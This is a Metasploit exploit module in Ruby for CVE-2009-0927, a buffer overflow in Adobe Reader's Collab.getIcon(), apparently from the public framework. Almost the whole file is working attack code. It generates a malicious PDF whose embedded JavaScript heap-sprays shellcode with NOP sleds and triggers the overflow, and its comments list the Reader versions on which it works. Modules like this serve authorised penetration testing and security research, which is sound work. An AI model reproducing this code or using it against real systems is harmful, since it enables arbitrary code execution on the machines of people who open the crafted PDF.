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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::PDF
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Adobe Collab.getIcon() Buffer Overflow',
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        'Description' => %q{
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          This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.
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          Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially
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          crafted pdf that a contains malformed Collab.getIcon() call, an attacker may
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          be able to execute arbitrary code.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'MC',
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          'Didier Stevens <didier.stevens[at]gmail.com>',
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          'jduck'
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        ],
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        'References' => [
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          [ 'CVE', '2009-0927' ],
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          [ 'OSVDB', '53647' ],
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          [ 'ZDI', '09-014' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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          'DisablePayloadHandler' => true
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        },
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          # test results (on Windows XP SP3)
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          # reader 7.0.5 - no trigger
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          # reader 7.0.8 - no trigger
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          # reader 7.0.9 - no trigger
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          # reader 7.1.0 - no trigger
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          # reader 7.1.1 - reported not vulnerable
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          # reader 8.0.0 - works
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          # reader 8.1.2 - works
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          # reader 8.1.3 - reported not vulnerable
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          # reader 9.0.0 - works
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          # reader 9.1.0 - reported not vulnerable
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          [ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],
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        ],
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        'DisclosureDate' => '2009-03-24',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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      ]
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    )
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  end
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  def exploit
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    # Encode the shellcode.
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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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    # Make some nops
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    nops = Rex::Text.to_unescape(make_nops(4))
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    # Randomize variables
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    rand1 = rand_text_alpha(rand(100) + 1)
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    rand2 = rand_text_alpha(rand(100) + 1)
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    rand3 = rand_text_alpha(rand(100) + 1)
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    rand4 = rand_text_alpha(rand(100) + 1)
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    rand5 = rand_text_alpha(rand(100) + 1)
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    rand6 = rand_text_alpha(rand(100) + 1)
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    rand7 = rand_text_alpha(rand(100) + 1)
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    rand8 = rand_text_alpha(rand(100) + 1)
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    rand9 = rand_text_alpha(rand(100) + 1)
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    rand10 = rand_text_alpha(rand(100) + 1)
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    rand11 = rand_text_alpha(rand(100) + 1)
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    rand12 = rand_text_alpha(rand(100) + 1)
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    script = %Q|
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    var #{rand1} = unescape("#{shellcode}");
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    var #{rand2} ="";
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    for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
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    #{rand4} = #{rand2} + #{rand1};
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    #{rand5} = unescape("#{nops}");
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    #{rand6} = 20;
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    #{rand7} = #{rand6}+#{rand4}.length
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    while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
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    #{rand8} = #{rand5}.substring(0, #{rand7});
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    #{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
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    while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
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    #{rand10} = new Array();
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    for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
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    var #{rand12} = unescape("%0a");
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    while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};
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    #{rand12} = "N."+#{rand12};
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    Collab.getIcon(#{rand12});
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          |
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    # Create the pdf
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    # pdf = make_pdf(script)
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    pdf = create_pdf(script)
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    print_status("Creating '#{datastore['FILENAME']}' file...")
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    file_create(pdf)
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  end
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end
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